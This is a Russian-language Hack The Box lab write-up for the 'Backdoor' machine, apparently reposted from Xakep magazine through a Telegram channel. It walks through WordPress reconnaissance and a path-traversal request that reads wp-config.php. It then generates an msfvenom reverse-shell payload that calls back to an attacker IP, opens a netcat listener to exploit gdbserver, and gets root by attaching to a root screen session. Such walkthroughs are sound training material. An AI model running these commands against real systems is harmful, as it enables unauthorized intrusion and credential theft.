Хакер - HTB Backdoor. Взламываем сайт на WordPress и практикуемся в разведке

Хакер - HTB Backdoor. Взламываем сайт на WordPress и практикуемся в разведке

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Точка входа
  • Точка опоры
  • Локальное повышение привилегий

Се­год­ня мы с тобой на при­мере лег­кой по уров­ню слож­ности машины Backdoor с пло­щад­ки Hack The Box поуп­ражня­емся в прос­тей­ших ата­ках на веб‑при­ложе­ния. Поищем уяз­вимые пла­гины для WordPress, про­экс­плу­ати­руем уяз­вимость типа path traversal, перебе­рем информа­цию о про­цес­сах при помощи Burp и повысим при­виле­гии в сис­теме через поль­зователь­ский скрипт.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.125 backdoor.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Мы наш­ли два откры­тых пор­та:

  • 22 — служ­ба OpenSSH 8.2p1;
  • 80 — веб‑сер­вер Apache 2.4.41.

SSH сме­ло про­пус­каем, там делать нечего.

Справка: брутфорс учеток

Пос­коль­ку вна­чале у нас нет учет­ных дан­ных, нет и смыс­ла изу­чать служ­бы, которые всег­да тре­буют авто­риза­ции (нап­ример, SSH). Единс­твен­ное, что мы можем делать здесь, — переби­рать пароли брут­форсом, но машины с HTB поч­ти всег­да мож­но прой­ти по‑дру­гому. В жиз­ни таких вари­антов может не быть, к тому же есть шан­сы подоб­рать пароль или получить его при помощи соци­аль­ной инже­нерии.

Изу­чим веб‑сер­вер. Nmap сра­зу показал, что там уста­нов­лен дви­жок WordPress 5.8.1.

Глав­ная стра­ница сай­та

Кста­ти, ту же самую информа­цию (и даже чуть под­робнее) можем получить, про­ана­лизи­ровав сайт ути­литой whatweb.

whatweb http://backdoor.htb

Вы­вод прог­раммы whatweb

ТОЧКА ВХОДА

При тес­тирова­нии сай­тов на WordPress луч­ше все­го исполь­зовать ути­литу wpscan. С ее помощью мож­но обна­ружить уяз­вимые вер­сии самого WordPress, тем и пла­гинов, а так­же соб­рать спи­сок поль­зовате­лей и переб­рать учет­ные дан­ные. В общем, все, что нуж­но. Перед началом ска­ниро­вания советую зарегис­три­ровать­ся на офи­циаль­ном сай­те и получить токен для дос­тупа к API. Это бес­плат­но.

Ча­ще все­го уяз­вимос­ти при­сутс­тву­ют в пла­гинах, поэто­му я зарядил их перебор (опция -e ap) в агрессив­ном режиме (опция --plugins-detection aggressive), исполь­зуя 100 потоков (опция -t 100).

wpscan --url http://backdoor.htb/ -e ap --plugins-detection aggressive -t 100

Об­наружен­ные пла­гины

Пот­ратив нес­коль­ко минут, мы получа­ем отчет, в котором отме­чены два пла­гина. Об уяз­вимос­тях ничего не сооб­щает­ся, но в ebook-download не про­индекси­рован каталог, что поз­воля­ет прос­мотреть его содер­жимое.

Со­дер­жимое катало­га ebook-download

Из фай­ла readme.txt узна­ем вер­сию пла­гина — 1.1. Стран­но, ведь ска­нер отоб­разил 1.5.

Со­дер­жимое фай­ла readme.txt

Ищем извес­тные уяз­вимос­ти и экс­пло­иты для ebook-download 1.1 и находим PoC.

Справка: поиск готовых эксплоитов

При пен­тесте луч­ше все­го искать экс­пло­иты в Google, пос­коль­ку этот поис­ковик заг­лядыва­ет и в лич­ные бло­ги, и в самые раз­ные отче­ты. Уско­рят дело спе­циали­зиро­ван­ные базы вро­де Exploit-DB — там час­то мож­но обна­ружить под­ходящие вари­анты. Если ты работа­ешь в спе­циали­зиро­ван­ной ОС вро­де Kali Linux, то эта база у тебя уже есть и для поис­ка мож­но исполь­зовать ути­литу searchsploit.

Опи­сание экс­пло­ита

ТОЧКА ОПОРЫ

Уяз­вимость и экс­пло­ит очень прос­тые. Это path traversal, то есть воз­можность обра­щать­ся к родитель­ско­му катало­гу (../) при ука­зании пути к фай­лу. Три таких шага, и мы выбира­емся в кор­невую дирек­торию WordPress, где можем про­читать файл с кон­фигура­цией. Дела­ется это одним зап­росом:

http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php

Со­дер­жимое фай­ла wp-config.php

Здесь хра­нят­ся учет­ные дан­ные для под­клю­чения к базе дан­ных. Пер­вая идея — поп­робовать эти учет­ные дан­ные для логина по SSH (не выш­ло) и дос­тупа к панели адми­нис­три­рова­ния WordPress, рас­положен­ной в катало­ге /wp-admin/. Авто­ризо­вать­ся на сай­те так­же не выш­ло.

Ошиб­ка авто­риза­ции WordPress

Тог­да мы можем поис­кать дру­гие инте­рес­ные фай­лы и получить боль­ше информа­ции с сер­вера. Я исполь­зовал спи­сок с такими фай­лами и пот­ратил мно­го вре­мени на их прос­мотры, ведь мы можем про­читать поч­ти все, для чего хва­тает при­виле­гий. И ничего инте­рес­ного, кро­ме фай­ла /proc/self/cmdline.

Со­дер­жимое фай­ла /proc/self/cmdline

Фай­ловая сис­тема /proc — это спе­циаль­ная ФС, которая есть во мно­гих сов­ремен­ных UNIX-сис­темах. В ней мож­но най­ти мас­су полез­ной информа­ции в тек­сто­вом виде. Внут­ри катало­га /proc — огромное чис­ло дру­гих катало­гов с циф­ровыми наз­вани­ями. Имя каж­дого такого катало­га соот­ветс­тву­ет иден­тифика­тору работа­юще­го в сис­теме про­цес­са (PID). А файл /proc/[pid]/cmdline содер­жит аргу­мен­ты коман­дной стро­ки, с которы­ми был запущен про­цесс. Иден­тифика­тор self ука­зыва­ет на текущий про­цесс.

Пос­ле этой наход­ки у меня воз­никла идея про­верить аргу­мен­ты коман­дной стро­ки всех про­цес­сов, вдруг какому‑то из них были переда­ны учет­ные дан­ные. С помощью Burp Intruder мож­но переб­рать иден­тифика­торы. Это лег­ко сде­лать, ука­зав Numbers в качес­тве типа наг­рузки и про­межу­ток перебо­ра от 0 до 10 000 с шагом 1.

Burp Intruder — Positions
Burp Intruder — Payloads
Ре­зуль­таты перебо­ра

Учет­ных дан­ных не находим, зато отме­чаем, что на пор­те 1337 запущен gdbserver. Мы не зна­ем вер­сии, поэто­му поп­робу­ем най­ти прос­то самый новый экс­пло­ит.

Пер­вая же ссыл­ка в Google наводит нас на скрипт, который экс­плу­ати­рует RCE-уяз­вимость в gdbserver 9.2. Что­бы вос­про­извести это, сге­нери­руем файл с наг­рузкой при помощи MSFvenom:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.73 LPORT=4321 PrependFork=true -o rev.bin

За­тем с исполь­зовани­ем netcat соз­дадим лис­тенер для при­ема бэк­коннек­та.

Справка: реверс-шелл

Об­ратный шелл — это под­клю­чение, которое акти­виру­ет ата­куемая машина, а мы при­нима­ем и таким обра­зом под­клю­чаем­ся к ней, что­бы выпол­нять коман­ды от лица поль­зовате­ля, который запус­тил шелл. Для при­ема соеди­нения необ­ходимо соз­дать на локаль­ной машине listener, то есть «слу­шатель».

В таких слу­чаях при­годит­ся rlwrap — readline-обо­лоч­ка, которая в чис­ле про­чего поз­воля­ет поль­зовать­ся исто­рией команд. Она обыч­но дос­тупна в репози­тории дис­три­бути­ва.

В качес­тве самого лис­тенера при этом мож­но исполь­зовать широко извес­тный netcat.

rlwrap nc -lvp [port]

Для это­го выпол­ним такую коман­ду:

rlwrap -cAr nc -lvnp 4321

И запус­тим экс­пло­ит.

Вы­пол­нение экс­пло­ита
Бэк­коннект от сер­вера

По­луча­ем инте­рак­тивную TTY-обо­лоч­ку и чита­ем пер­вый флаг — поль­зователь­ский.

python3 -c "import pty;pty.spawn('/bin/bash')"

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Для зах­вата фла­га рута нам понадо­бит­ся повысить при­виле­гии в сис­теме. Самые оче­вид­ные шаги для это­го — про­верить нас­трой­ки sudoers, при­ложе­ния с выс­тавлен­ным битом SUID, прос­лушива­емые на локаль­ном хос­те пор­ты и спи­сок запущен­ных при­ложе­ний. Везет с пос­ледним пун­ктом. Мы находим работа­ющий в сис­теме поль­зователь­ский скрипт.

Спи­сок запущен­ных про­цес­сов

На хос­те каж­дую секун­ду запус­кает­ся коман­да find:

find /var/run/screen/S-root/ -empty -exec screen -dmS root

Ес­ли она находит про­цесс screen, то выпол­няет дей­ствие exec, что при­ведет к запус­ку screen в авто­ном­ном режиме (при­чем запущен­ном от име­ни супер­поль­зовате­ля). То есть мы можем запус­тить screen и под­клю­чить­ся ко вто­рому, запущен­ному коман­дой find при­виле­гиро­ван­ному про­цес­су.

export TERM=xterm

screen -x root/root

Это дает нам при­виле­гиро­ван­ный шелл.

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page